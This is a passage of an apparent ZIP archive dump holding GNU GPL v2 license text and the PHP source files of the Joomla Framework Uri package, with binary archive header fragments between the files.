distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PKDž�[�=Ɉ�"�"uri/src/AbstractUri.phpnu�[���<?php
/**
* Part of the Joomla Framework Uri Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Uri;
/**
* Uri Class
*
* Abstract base for out uri classes.
*
* This class should be considered an implementation detail. Typehint
against UriInterface.
*
* @since 1.0
*/
abstract class AbstractUri implements UriInterface
{
/**
* @var string Original URI
* @since 1.0
*/
protected $uri = null;
/**
* @var string Protocol
* @since 1.0
*/
protected $scheme = null;
/**
* @var string Host
* @since 1.0
*/
protected $host = null;
/**
* @var integer Port
* @since 1.0
*/
protected $port = null;
/**
* @var string Username
* @since 1.0
*/
protected $user = null;
/**
* @var string Password
* @since 1.0
*/
protected $pass = null;
/**
* @var string Path
* @since 1.0
*/
protected $path = null;
/**
* @var string Query
* @since 1.0
*/
protected $query = null;
/**
* @var string Anchor
* @since 1.0
*/
protected $fragment = null;
/**
* @var array Query variable hash
* @since 1.0
*/
protected $vars = array();
/**
* Constructor.
* You can pass a URI string to the constructor to initialise a specific
URI.
*
* @param string $uri The optional URI string
*
* @since 1.0
*/
public function __construct($uri = null)
{
if (!\is_null($uri))
{
$this->parse($uri);
}
}
/**
* Magic method to get the string representation of the URI object.
*
* @return string
*
* @since 1.0
*/
public function __toString()
{
return $this->toString();
}
/**
* Returns full uri string.
*
* @param array $parts An array of strings specifying the parts to
render.
*
* @return string The rendered URI string.
*
* @since 1.0
*/
public function toString(array $parts = array('scheme',
'user', 'pass', 'host', 'port',
'path', 'query', 'fragment'))
{
$bitmask = 0;
foreach ($parts as $part)
{
$const = 'static::' . strtoupper($part);
if (\defined($const))
{
$bitmask |= constant($const);
}
}
return $this->render($bitmask);
}
/**
* Returns full uri string.
*
* @param integer $parts A bitmask specifying the parts to render.
*
* @return string The rendered URI string.
*
* @since 1.2.0
*/
public function render($parts = self::ALL)
{
// Make sure the query is created
$query = $this->getQuery();
$uri = '';
$uri .= $parts & static::SCHEME ? (!empty($this->scheme) ?
$this->scheme . '://' : '') : '';
$uri .= $parts & static::USER ? $this->user : '';
$uri .= $parts & static::PASS ? (!empty($this->pass) ?
':' : '') . $this->pass . (!empty($this->user) ?
'@' : '') : '';
$uri .= $parts & static::HOST ? $this->host : '';
$uri .= $parts & static::PORT ? (!empty($this->port) ?
':' : '') . $this->port : '';
$uri .= $parts & static::PATH ? $this->path : '';
$uri .= $parts & static::QUERY ? (!empty($query) ? '?' .
$query : '') : '';
$uri .= $parts & static::FRAGMENT ? (!empty($this->fragment) ?
'#' . $this->fragment : '') : '';
return $uri;
}
/**
* Checks if variable exists.
*
* @param string $name Name of the query variable to check.
*
* @return boolean True if the variable exists.
*
* @since 1.0
*/
public function hasVar($name)
{
return array_key_exists($name, $this->vars);
}
/**
* Returns a query variable by name.
*
* @param string $name Name of the query variable to get.
* @param string $default Default value to return if the variable is
not set.
*
* @return mixed Value of the specified query variable.
*
* @since 1.0
*/
public function getVar($name, $default = null)
{
if (array_key_exists($name, $this->vars))
{
return $this->vars[$name];
}
return $default;
}
/**
* Returns flat query string.
*
* @param boolean $toArray True to return the query as a key =>
value pair array.
*
* @return string|array Query string or Array of parts in query string
depending on the function param
*
* @since 1.0
*/
public function getQuery($toArray = false)
{
if ($toArray)
{
return $this->vars;
}
// If the query is empty build it first
if (\is_null($this->query))
{
$this->query = self::buildQuery($this->vars);
}
return $this->query;
}
/**
* Get URI scheme (protocol)
* ie. http, https, ftp, etc...
*
* @return string The URI scheme.
*
* @since 1.0
*/
public function getScheme()
{
return $this->scheme;
}
/**
* Get URI username
* Returns the username, or null if no username was specified.
*
* @return string The URI username.
*
* @since 1.0
*/
public function getUser()
{
return $this->user;
}
/**
* Get URI password
* Returns the password, or null if no password was specified.
*
* @return string The URI password.
*
* @since 1.0
*/
public function getPass()
{
return $this->pass;
}
/**
* Get URI host
* Returns the hostname/ip or null if no hostname/ip was specified.
*
* @return string The URI host.
*
* @since 1.0
*/
public function getHost()
{
return $this->host;
}
/**
* Get URI port
* Returns the port number, or null if no port was specified.
*
* @return integer The URI port number.
*
* @since 1.0
*/
public function getPort()
{
return (isset($this->port)) ? $this->port : null;
}
/**
* Gets the URI path string.
*
* @return string The URI path string.
*
* @since 1.0
*/
public function getPath()
{
return $this->path;
}
/**
* Get the URI anchor string
* Everything after the "#".
*
* @return string The URI anchor string.
*
* @since 1.0
*/
public function getFragment()
{
return $this->fragment;
}
/**
* Checks whether the current URI is using HTTPS.
*
* @return boolean True if using SSL via HTTPS.
*
* @since 1.0
*/
public function isSsl()
{
return $this->getScheme() == 'https' ? true : false;
}
/**
* Build a query from an array (reverse of the PHP parse_str()).
*
* @param array $params The array of key => value pairs to return
as a query string.
*
* @return string The resulting query string.
*
* @see parse_str()
* @since 1.0
*/
protected static function buildQuery(array $params)
{
return urldecode(http_build_query($params, '',
'&'));
}
/**
* Parse a given URI and populate the class fields.
*
* @param string $uri The URI string to parse.
*
* @return boolean True on success.
*
* @since 1.0
*/
protected function parse($uri)
{
// Set the original URI to fall back on
$this->uri = $uri;
/*
* Parse the URI and populate the object fields. If URI is parsed
properly,
* set method return value to true.
*/
$parts = UriHelper::parse_url($uri);
$retval = ($parts) ? true : false;
// We need to replace & with & for parse_str to work right...
if (isset($parts['query']) &&
strpos($parts['query'], '&'))
{
$parts['query'] = str_replace('&',
'&', $parts['query']);
}
$this->scheme = isset($parts['scheme']) ?
$parts['scheme'] : null;
$this->user = isset($parts['user']) ?
$parts['user'] : null;
$this->pass = isset($parts['pass']) ?
$parts['pass'] : null;
$this->host = isset($parts['host']) ?
$parts['host'] : null;
$this->port = isset($parts['port']) ?
$parts['port'] : null;
$this->path = isset($parts['path']) ?
$parts['path'] : null;
$this->query = isset($parts['query']) ?
$parts['query'] : null;
$this->fragment = isset($parts['fragment']) ?
$parts['fragment'] : null;
// Parse the query
if (isset($parts['query']))
{
parse_str($parts['query'], $this->vars);
}
return $retval;
}
/**
* Resolves //, ../ and ./ from a path and returns
* the result. Eg:
*
* /foo/bar/../boo.php => /foo/boo.php
* /foo/bar/../../boo.php => /boo.php
* /foo/bar/.././/boo.php => /foo/boo.php
*
* @param string $path The URI path to clean.
*
* @return string Cleaned and resolved URI path.
*
* @since 1.0
*/
protected function cleanPath($path)
{
$path = explode('/', preg_replace('#(/+)#',
'/', $path));
for ($i = 0, $n = \count($path); $i < $n; $i++)
{
if ($path[$i] == '.' || $path[$i] == '..')
{
if (($path[$i] == '.') || ($path[$i] == '..'
&& $i == 1 && $path[0] == ''))
{
unset($path[$i]);
$path = array_values($path);
$i--;
$n--;
}
elseif ($path[$i] == '..' && ($i > 1 || ($i == 1
&& $path[0] != '')))
{
unset($path[$i]);
unset($path[$i - 1]);
$path = array_values($path);
$i -= 2;
$n -= 2;
}
}
}
return implode('/', $path);
}
}
PKDž�[�����uri/src/Uri.phpnu�[���<?php
/**
* Part of the Joomla Framework Uri Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Uri;
/**
* Uri Class
*
* This class parses a URI and provides a common interface for the Joomla
Framework
* to access and manipulate a URI.
*
* @since 1.0
*/
class Uri extends AbstractUri
{
/**
* Adds a query variable and value, replacing the value if it
* already exists and returning the old value.
*
* @param string $name Name of the query variable to set.
* @param string $value Value of the query variable.
*
* @return string Previous value for the query variable.
*
* @since 1.0
*/
public function setVar($name, $value)
{
$tmp = isset($this->vars[$name]) ? $this->vars[$name] : null;
$this->vars[$name] = $value;
// Empty the query
$this->query = null;
return $tmp;
}
/**
* Removes an item from the query string variables if it exists.
*
* @param string $name Name of variable to remove.
*
* @return void
*
* @since 1.0
*/
public function delVar($name)
{
if (array_key_exists($name, $this->vars))
{
unset($this->vars[$name]);
// Empty the query
$this->query = null;
}
}
/**
* Sets the query to a supplied string in format:
* foo=bar&x=y
*
* @param mixed $query The query string or array.
*
* @return void
*
* @since 1.0
*/
public function setQuery($query)
{
if (\is_array($query))
{
$this->vars = $query;
}
else
{
if (strpos($query, '&') !== false)
{
$query = str_replace('&', '&', $query);
}
parse_str($query, $this->vars);
}
// Empty the query
$this->query = null;
}
/**
* Set URI scheme (protocol)
* ie. http, https, ftp, etc...
*
* @param string $scheme The URI scheme.
*
* @return void
*
* @since 1.0
*/
public function setScheme($scheme)
{
$this->scheme = $scheme;
}
/**
* Set URI username.
*
* @param string $user The URI username.
*
* @return void
*
* @since 1.0
*/
public function setUser($user)
{
$this->user = $user;
}
/**
* Set URI password.
*
* @param string $pass The URI password.
*
* @return void
*
* @since 1.0
*/
public function setPass($pass)
{
$this->pass = $pass;
}
/**
* Set URI host.
*
* @param string $host The URI host.
*
* @return void
*
* @since 1.0
*/
public function setHost($host)
{
$this->host = $host;
}
/**
* Set URI port.
*
* @param integer $port The URI port number.
*
* @return void
*
* @since 1.0
*/
public function setPort($port)
{
$this->port = $port;
}
/**
* Set the URI path string.
*
* @param string $path The URI path string.
*
* @return void
*
* @since 1.0
*/
public function setPath($path)
{
$this->path = $this->cleanPath($path);
}
/**
* Set the URI anchor string
* everything after the "#".
*
* @param string $anchor The URI anchor string.
*
* @return void
*
* @since 1.0
*/
public function setFragment($anchor)
{
$this->fragment = $anchor;
}
}
PKDž�[t��E��uri/src/UriHelper.phpnu�[���<?php
/**
* Part of the Joomla Framework Uri Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Uri;
/**
* Uri Helper
*
* This class provides a UTF-8 safe version of parse_url().
*
* @since 1.0
*/
class UriHelper
{
/**
* Does a UTF-8 safe version of PHP parse_url function
*
* @param string $url URL to parse
*
* @return mixed Associative array or false if badly formed URL.
*
* @link https://secure.php.net/manual/en/function.parse-url.php
* @since 1.0
*/
public static function parse_url($url)
{
$result = false;
// Build arrays of values we need to decode before parsing
$entities = array('%21', '%2A', '%27',
'%28', '%29', '%3B', '%3A',
'%40', '%26', '%3D', '%24',
'%2C', '%2F', '%3F', '%23',
'%5B', '%5D');
$replacements = array('!', '*', "'",
"(", ")", ";", ":", "@",
"&", "=", "$", ",",
"/", "?", "#", "[", "]");
// Create encoded URL with special URL characters decoded so it can be
parsed
// All other characters will be encoded
$encodedURL = str_replace($entities, $replacements, urlencode($url));
// Parse the encoded URL
$encodedParts = parse_url($encodedURL);
// Now, decode each value of the resulting array
if ($encodedParts)
{
foreach ($encodedParts as $key => $value)
{
$result[$key] = urldecode(str_replace($replacements, $entities,
$value));
}
}
return $result;
}
}
PKDž�[��0�zzuri/src/UriImmutable.phpnu�[���<?php
/**
* Part of the Joomla Framework Uri Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Uri;
/**
* Uri Class
*
* This is an immutable version of the uri class.
*
* @since 1.0
*/
final class UriImmutable extends AbstractUri
{
/**
* @var boolean Has this class been instantiated yet.
* @since 1.0
*/
private $constructed = false;
/**
* Prevent setting undeclared properties.
*
* @param string $name This is an immutable object, setting $name is
not allowed.
* @param mixed $value This is an immutable object, setting $value is
not allowed.
*
* @return void This method always throws an exception.
*
* @since 1.0
* @throws \BadMethodCallException
*/
public function __set($name, $value)
{
throw new \BadMethodCallException('This is an immutable
object');
}
/**
* This is a special constructor that prevents calling the __construct
method again.
*
* @param string $uri The optional URI string
*
* @since 1.0
* @throws \BadMethodCallException
*/
public function __construct($uri = null)
{
if ($this->constructed === true)
{
throw new \BadMethodCallException('This is an immutable
object');
}
$this->constructed = true;
parent::__construct($uri);
}
}
PKDž�[�i\\uri/src/UriInterface.phpnu�[���<?php
/**
* Part of the Joomla Framework Uri Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Uri;
/**
* Uri Interface
*
* Interface for read-only access to Uris.
*
* @since 1.0
*/
interface UriInterface
{
/**
* Include the scheme (http, https, etc.)
*
* @var integer
* @since 1.2.0
*/
const SCHEME = 1;
/**
* Include the user
*
* @var integer
* @since 1.2.0
*/
const USER = 2;
/**
* Include the password
*
* @var integer
* @since 1.2.0
*/
const PASS = 4;
/**
* Include the host
*
* @var integer
* @since 1.2.0
*/
const HOST = 8;
/**
* Include the port
*
* @var integer
* @since 1.2.0
*/
const PORT = 16;
/**
* Include the path
*
* @var integer
* @since 1.2.0
*/
const PATH = 32;
/**
* Include the query string
*
* @var integer
* @since 1.2.0
*/
const QUERY = 64;
/**
* Include the fragment
*
* @var integer
* @since 1.2.0
*/
const FRAGMENT = 128;
/**
* Include all available url parts (scheme, user, pass, host, port, path,
query, fragment)
*
* @var integer
* @since 1.2.0
*/
const ALL = 255;
/**
* Magic method to get the string representation of the URI object.
*
* @return string
*
* @since 1.0
*/
public function __toString();
/**
* Returns full uri string.
*
* @param array $parts An array of strings specifying the parts to
render.
*
* @return string The rendered URI string.
*
* @since 1.0
*/
public function toString(array $parts = array('scheme',
'user', 'pass', 'host', 'port',
'path', 'query', 'fragment'));
/**
* Checks if variable exists.
*
* @param string $name Name of the query variable to check.
*
* @return boolean True if the variable exists.
*
* @since 1.0
*/
public function hasVar($name);
/**
* Returns a query variable by name.
*
* @param string $name Name of the query variable to get.
* @param string $default Default value to return if the variable is
not set.
*
* @return array Query variables.
*
* @since 1.0
*/
public function getVar($name, $default = null);
/**
* Returns flat query string.
*
* @param boolean $toArray True to return the query as a key =>
value pair array.
*
* @return string Query string.
*
* @since 1.0
*/
public function getQuery($toArray = false);
/**
* Get URI scheme (protocol)
* ie. http, https, ftp, etc...
*
* @return string The URI scheme.
*
* @since 1.0
*/
public function getScheme();
/**
* Get URI username
* Returns the username, or null if no username was specified.
*
* @return string The URI username.
*
* @since 1.0
*/
public function getUser();
/**
* Get URI password
* Returns the password, or null if no password was specified.
*
* @return string The URI password.
*
* @since 1.0
*/
public function getPass();
/**
* Get URI host
* Returns the hostname/ip or null if no hostname/ip was specified.
*
* @return string The URI host.
*
* @since 1.0
*/
public function getHost();
/**
* Get URI port
* Returns the port number, or null if no port was specified.
*
* @return integer The URI port number.
*
* @since 1.0
*/
public function getPort();
/**
* Gets the URI path string.
*
* @return string The URI path string.
*
* @since 1.0
*/
public function getPath();
/**
* Get the URI archor string
* Everything after the "#".
*
* @return string The URI anchor string.
*
* @since 1.0
*/
public function getFragment();
/**
* Checks whether the current URI is using HTTPS.
*
* @return boolean True if using SSL via HTTPS.
*
* @since 1.0
*/
public function isSsl();
}
PKDž�[�P�E�Eutilities/LICENSEnu�[���GNU GENERAL
PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
